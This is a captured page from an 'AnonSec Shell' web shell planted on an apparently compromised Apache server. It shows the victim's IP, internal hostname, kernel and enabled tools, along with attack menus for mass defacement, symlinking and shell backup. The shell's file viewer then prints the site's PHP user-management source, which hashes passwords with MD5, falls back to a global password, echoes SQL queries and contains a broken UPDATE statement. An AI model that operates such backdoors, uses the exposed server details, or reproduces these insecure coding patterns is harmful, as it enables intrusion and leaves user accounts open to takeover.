AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell
Server IP : 52.223.31.75 / Your IP : 172.31.44.28 [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF
Directory : /var/www/sapere/app/helpers/
Upload File :
[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]
Current File : /var/www/sapere/app/helpers/ocuser.php
<?php
class OCUser extends DBLink
{
	const
		PERM_VIEW               = 0x000001,         // View regular content. For all users..
		PERM_REORDER            = 0x000002,         // Reorder elements 
		PERM_ADD                = 0x000004,         // Add new elements
		PERM_ADD_RESTRICTED     = 0x000008,         // Add new elements in restricted boxes (admins)
		PERM_DELETE_OWN         = 0x000010,         // Delete own elements
		PERM_DELETE_OTHERS      = 0x000020,         // Delete other's elements (admins)
		PERM_DELETE_RESTRICTED  = 0x000040,         // Delete elements in restricted boxes(amdins)
		PERM_EDIT_OWN           = 0x000080,         // Edit own elements
		PERM_EDIT_OTHERS        = 0x000100,         // Edit other's elements (admin)
		PERM_EDIT_RESTRICTED    = 0x000200,         // Edit elements in restricted boxes(amdins)
		PERM_EDIT_USER          = 0x000400,         // Add/delete/edit users (admins)
		PERM_USE_ADMINPANEL     = 0x000800,         // Access to the administration pages
		PERM_SEND_EMAIL         = 0x001000,         // Send email to user/group (admin)
		PERM_ADD_EMAIL          = 0x002000,         // Create/edit an email (admin)
		PERM_VIEW_USERSTATS     = 0x004000,         // See user's statistics, completed topics, times, etc. (admin)
		PERM_ADD_ADMIN          = 0x008000,         // Add admins (superadmin)
        PERM_ARCHIVE_ELEMENT    = 0x010000,
        PERM_DELETE_TOPIC       = 0x020000,         // Delete a topic. Should be superadmin only to avoid big mistakes
        PERM_JOIN_RESTRICTED    = 0x040000;         // Allow the user to join a restricted group.
		
    // This is used to test if a usertype falls in the 'administrators' category
    static function ContainsAdminPermission($testperm)
    {
        return $testperm & (
            self::PERM_ADD_RESTRICTED |
            self::PERM_DELETE_OTHERS |
            self::PERM_DELETE_RESTRICTED |
            self::PERM_EDIT_OTHERS |
            self::PERM_EDIT_RESTRICTED |
            self::PERM_EDIT_USER |
            self::PERM_USE_ADMINPANEL |
            self::PERM_SEND_EMAIL |
            self::PERM_VIEW_USERSTATS |
            self::PERM_ADD_ADMIN |
            self::PERM_ARCHIVE_ELEMENT
        );
    }


	
	function __construct()
	{
		
		parent::__construct(FILE_INI_MDADB);

        $this->SafeFetch("SET CHARACTER SET utf8 ");

        /*   */
     //   $this->mongo= new DBLinkMongo(FILE_INI_MDADB_MONGO);
        /* MONGO ADAPTER */

	}
	
    function GetUserid($username)
    {
        $qusername = $this->QuoteText($username);
        $query = "SELECT user.id_user FROM user WHERE username=$qusername LIMIT 1";
        $res = $this->SafeFetchOne($query);
        return $res;
    }
    
    /**
     * 
     * 
     * API updateUserPasswod
     */
    
    public function SetUserPassword($userid, $password)
    {
        $quserid = $this->QuoteInt($userid);
        $password = self::GetRealPassword($password);
        $qpassword = $this->QuoteText(self::HashPassword($password));

        $query = "UPDATE user SET password = $qpassword WHERE user_id = $quserid";

        if( $this->SafeExec($query) ) {
        	return true;
        } else {
            return false;
        }
        
        
        
    }

    public function checkSessionFrontend($idsessione,$idcliente, $tipo){

    	$this->flushSessionFrontend();


    	$idsessione = $this->QuoteText($idsessione);
        $idcliente = $this->QuoteInt($idcliente);
    	if(!$tipo){
    		$query = "SELECT cliente.* FROM cliente_frontend_sessions JOIN cliente on cliente.idcliente = cliente_frontend_sessions.idcliente WHERE cliente.idcliente=$idcliente AND idsession LIKE $idsessione and time_ins > DATE_SUB(NOW(), INTERVAL +1 HOUR)";
    	}else{
    		$query = "SELECT clientedelcentro.* FROM clientedelcentro_frontend_sessions JOIN clientedelcentro ON clientedelcentro.idclientedelcentro = clientedelcentro_frontend_sessions.idcliente WHERE clientedelcentro.idclientedelcentro=$idcliente AND idsession LIKE $idsessione AND time_ins > DATE_SUB(NOW(), INTERVAL +1 HOUR)";
    	}
    	$res= $this->SafeFetch($query);
        
    	echo $query;

        return $res;
    }

    private function flushSessionFrontend(){
    	$query = "DELETE FROM cliente_frontend_sessions WHERE time_ins < NOW() - INTERVAL 1 DAY";
    	$this->SafeExec($query);
    }

	public function verificaCertificato($codice_certificato){
		$codice_certificato = $this->QuoteText($codice_certificato);
		$query = "SELECT * FROM iscrizioni_studenti_esami WHERE codice_certificato = $codice_certificato;";
		$res= $this->SafeFetchOne($query);
		if(count($res)>0){
			return $res;
		}else{
			return false;
		}	
	}

	public function verificaAttestato($codice_attestato){
		$codice_attestato = $this->QuoteText($codice_attestato);
		$query = "SELECT * FROM iscrizioni_studenti_corsi WHERE codice_attestato = $codice_attestato;";
		$res= $this->SafeFetchOne($query);
		if(count($res)>0){
			return $res;
		}else{
			return false;
		}	
	}

	

	public function verificaReport($codice){
		$codice = $this->QuoteText($codice);
		$query = "SELECT * FROM user_report WHERE codice = $codice";
		$res= $this->SafeFetch($query);
		if(count($res)>0){
			return $res[0];
		}else{
			return false;
		}	
	}

	

	public function getLogLogin($iduser = null)
	{
		
		if($iduser){
			$iduser = $this->QuoteInt($iduser);
			$query = "SELECT iduser, useragent, timestamp, ip, CONCAT(firstname, ' ', lastname) as nome FROM controllo_login INNER JOIN user ON user.id_user=controllo_login.iduser where user.id_user = $iduser";
		}else{
			$query = "SELECT iduser, useragent, timestamp, ip, CONCAT(firstname, ' ', lastname) as nome FROM controllo_login INNER JOIN user ON user.id_user=controllo_login.iduser";
		}

		$result= $this->SafeFetch($query);

		return $result;

	}
	private function setLogLogin($iduser, $useragent, $ip)
	{
		$iduser = $this->QuoteInt($iduser);
		$useragent = $this->QuoteText($useragent);
		$timestamp = $this->QuoteText($timestamp);
		$ip = $this->QuoteText($ip);
		$query = "INSERT INTO controllo_login (iduser, useragent, timestamp, ip) VALUES ($iduser, $useragent, NOW(), $ip)";
		$result= $this->SafeInsert($query);

		return $result;

	}

    public function recuperaPassword($email, $password)
    {	
    	$email = $this->QuoteText($email);
    	$query = "SELECT last_time_email FROM user WHERE deleted=0 AND email LIKE $email";
        $res= $this->SafeFetch($query);
        if(count($res)<1){
        	return -1;
        }else
         
        //secondi
        if( (strtotime($res[0]['last_time_email']) + (60*5)/*5minuti*/) < strtotime("now") ){

	        $password = self::GetRealPassword($password);
	        $qpassword = $this->QuoteText(self::HashPassword($password));

	        $query = "UPDATE user SET password = $qpassword, last_time_email=NOW() WHERE email = $email";

	        if( $this->SafeExec($query) ) {
	        	return $password;
	        } else {
	            return -5;
	        }

    	}else{
    		return -2;
    	}

    }


    // public function recuperaPasswordCentro($email, $password)
    // {	
    // 	$email = $this->QuoteText($email);
    // 	$query = "SELECT last_time_email FROM centro WHERE email LIKE $email";
    //     $res= $this->SafeFetch($query);
    //     if(count($res)<1){
    //     	return -1;
    //     }else
         
    //     //secondi
    //     if( (strtotime($res[0]['last_time_email']) + (60*5)/*5minuti*/) < strtotime("now") ){

	//         $password = self::GetRealPassword($password);
	//         $qpassword = $this->QuoteText(self::HashPassword($password));

	//         $query = "UPDATE centro SET password = $qpassword, last_time_email=NOW() WHERE email = $email";

	//         if( $this->SafeExec($query) ) {
	//         	return $password;
	//         } else {
	//             return -5;
	//         }

    // 	}else{
    // 		return -2;
    // 	}

       
        
        
        
    // }
    
	// Returns user data on success, or null on failure
	public function checkPassword($username,$password)
	{
		$password = self::GetRealPassword($password);
		$res = $this->GetUserData($username,$password);
		return $res;
	}

	public function modificaPassword($id_user, $oldpassword, $newpassword){

		$id_user = $this->QuoteInt($id_user);
		$oldpassword = $this->QuoteText(self::HashPassword($oldpassword));
		$newpassword = $this->QuoteText(self::HashPassword($newpassword));
      
        $query = "SELECT COUNT(id_user) as value FROM user WHERE id_user = $id_user AND password = $oldpassword";

        $res= $this->SafeFetch($query);
        if($res[0]['value']){
        	$query = "UPDATE user SET password = $newpassword WHERE id_user = $id_user";
			$this->SafeExec($query);	
			return true;
        }else{
        	return false;
        }
		
		
	}

	public function checkUsername($username)
	{
		
        $qusername = $this->QuoteText($username);
      
        $query = "SELECT COUNT(username) as value FROM user WHERE username LIKE $qusername";

        $res= $this->SafeFetchOne($query);

        return $res['value'];

	}
	
	


	public function checkValidEmail($email){
		
		if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
			return true;
		}else{
			return false;
		}

	}

    
	// Returns user data on success, or null on failure
	function Login($username,$password)
	{
		$password = self::GetRealPassword($password);
		
		$res = $this->GetUserData($username,$password);
		if($res){
			//Persistant::SetUserInfo($res);//['id_user'], $_SERVER['HTTP_USER_AGENT'], $_SERVER['REMOTE_ADDR']);
			$this->setLogLogin($res['id_user'], $_SERVER['HTTP_USER_AGENT'], $_SERVER['REMOTE_ADDR']);
		}
		return $res;
	}
	    

	function GetUserData($username, $password)
	{
		$qusername = $this->QuoteText($username);
		$qpassword = $this->QuoteText(self::HashPassword($password));
		$where = "WHERE deleted=0 AND email=$qusername AND password=$qpassword ";
		return $this->subGetUserData($where);
	}

	function GetUserDataById($userid)
	{
		$quserid = $this->QuoteInt($userid);
		$where = "WHERE deleted=0 AND user.id_user = $quserid ";
		return $this->subGetUserData($where);
	}
	
	
	/*
	 * 
	 * Used by the S3 API
	 * 
	 * 
	 */
	
	
	public function SetAvatarLocation($userid, $location) {
		return $this->subSetAvatarLocation($userid, $location);
	}
	
	// $where must begin with "WHERE" and end with a whitespace!
	protected function subSetAvatarLocation($userid, $location)
	{
		$quserid = $this->QuoteInt($userid);
		$qlocation = $this->QuoteText($location);
        $query = "UPDATE user SET avatar_location=$qlocation "
                ."WHERE user_id = $quserid"; 

         return $this->SafeExec($query);
	}
	
	
	
		
	protected function subGetUserData($where)
	{

		$query = "SELECT * "
				."FROM user "
				.$where
				."LIMIT 1";

		
				//error_log($query);
		$row = $this->SafeFetchRow($query);

		switch($row["user_type_id"]){
			case "830830": $row['nome'] = "Amministratore"; $row['name']= "Admin";break;
			case "550550":  $query = "SELECT *, denominazione AS nome, 'Centro Master' AS tipo_utente from user LEFT JOIN user_type ON user.user_type_id = user_type.user_type_id LEFT JOIN centri_user_info ON user.id_user = centri_user_info.id_user ".$where." LIMIT 1"; break;
			case "1": $query = "SELECT * from user LEFT JOIN user_type ON user.user_type_id = user_type.user_type_id LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user ".$where." LIMIT 1"; break;
			case "2": $query = "SELECT *, denominazione AS nome, 'Centro Standard' AS tipo_utente from user LEFT JOIN user_type ON user.user_type_id = user_type.user_type_id LEFT JOIN centri_user_info ON user.id_user = centri_user_info.id_user ".$where." LIMIT 1"; break; //$query = "SELECT * from user LEFT JOIN user_type ON user.user_type_id = user_type.user_type_id LEFT JOIN affiliati_user_info ON user.id_user = affiliati_user_info.id_user ".$where." LIMIT 1"; break;
			case "3": $query = "SELECT * from user LEFT JOIN user_type ON user.user_type_id = user_type.user_type_id LEFT JOIN formatori_user_info ON user.id_user = formatori_user_info.id_user ".$where." LIMIT 1"; break;
			case "4": $query = "SELECT * from user LEFT JOIN user_type ON user.user_type_id = user_type.user_type_id LEFT JOIN supervisori_user_info ON user.id_user = supervisori_user_info.id_user ".$where." LIMIT 1"; break;
			case "5": $query = "SELECT * from user LEFT JOIN user_type ON user.user_type_id = user_type.user_type_id LEFT JOIN editor_user_info ON user.id_user = editor_user_info.id_user ".$where." LIMIT 1"; break;
			case "6": $query = "SELECT * from user LEFT JOIN user_type ON user.user_type_id = user_type.user_type_id LEFT JOIN tutor_user_info ON user.id_user = tutor_user_info.id_user ".$where." LIMIT 1"; break;
		}
		$arr= $row+$this->SafeFetchRow($query);
		// var_dump($arr);
		return $arr;
	}

   
    
	function Logout()
	{
		session_unset();
		session_destroy();
		unset($this->session);
	}


    function GetAllUserTypes($usertypeid = null)
    {
        $qusertypeid = $this->QuoteInt($usertypeid);
        $where = $usertypeid?"WHERE user_type_id = $qusertypeid":"";
        $query = "SELECT user_type_id, name, description FROM user_type $where";
        return $usertypeid?$this->SafeFetchRow($query):$this->SafeFetch($query);
    }


	function getCentroAccountPermissions($id_type_account){
		$id_type_account = $this->QuoteInt($id_type_account);
		$query = "SELECT * FROM centri_limiti_accont WHERE id_account_type = $id_type_account";
		return $this->SafeFetchOne($query);
	}
    
    /**
     * 
     * 
     * ADMIN API
     * 
     */
    
    public function getUtenti()
	{
		      
        $query = "SELECT * FROM user order by firstname";

        return $this->SafeFetch($query);

	}



	public function CreateUser($username, $firstname, $lastname, $email, $password, $usertypeid, $created_by, $color)
	{
		$password = self::GetRealPassword($password);

		$qusername = $this->QuoteText($username);
		$qfirstname = $this->QuoteText($firstname);
		$qlastname = $this->QuoteText($lastname);
		$qemail = $this->QuoteText($email);
		$qusertypeid = $this->QuoteInt($usertypeid);
		$qpassword = $this->QuoteText(self::HashPassword($password));		
		$qcreated_by = $this->QuoteInt($created_by);

		$query = "INSERT INTO user (user_type_id, username, password, firstname, lastname, email, created_by) "
				."VALUES ($qusertypeid, $qusername, $qpassword, $qfirstname, $qlastname, $qemail, $qcreated_by)";
	
		return $this->SafeInsert($query);

	}

	public function UpdateUser($username, $firstname, $lastname, $email, $password, $usertypeid, $update_by, $id)
	{
		$aid = $this->QuoteInt($id);
		$qusername = $this->QuoteText($username);
		$qfirstname = $this->QuoteText($firstname);
		$qlastname = $this->QuoteText($lastname);
		$qemail = $this->QuoteText($email);
		$qcreated_by = $this->QuoteInt($update_by);

		if($password){
			$password = self::GetRealPassword($password);
			$qpassword = $this->QuoteText(self::HashPassword($password));		

			$query = "UPDATE user set username=$qusername, password=$qpassword, firstname=$qfirstname, lastname=$qlastname, email=$qemail, created_by=$qcreated_by id_user = $aid ";
		}else{
			$query = "UPDATE user set username=$qusername, firstname=$qfirstname, lastname=$qlastname, email=$qemail, created_by=$qcreated_by WHERE id_user = $aid ";
		}
		$this->SafeExec($query);
		return $aid;
    	
	}


	public function deleteUser($id){
		$aid = $this->QuoteInt($id);	
    	$query = "DELETE FROM user WHERE id_user = $aid";
    	return $this->SafeExec($query);
	}
    
	static function IsLoggedIn()
	{
		return isset($_SESSION) && isset($_SESSION['userdata']);
	}
	
	static function HashPassword($password)
	{
		return md5($password);
	}
    
    static function GetRealPassword($password)
    {
        return (!$password)?GLOBAL_PASSWORD:$password;
    }
	
	

	
}
?>
Anon7 - 2022
AnonSec Team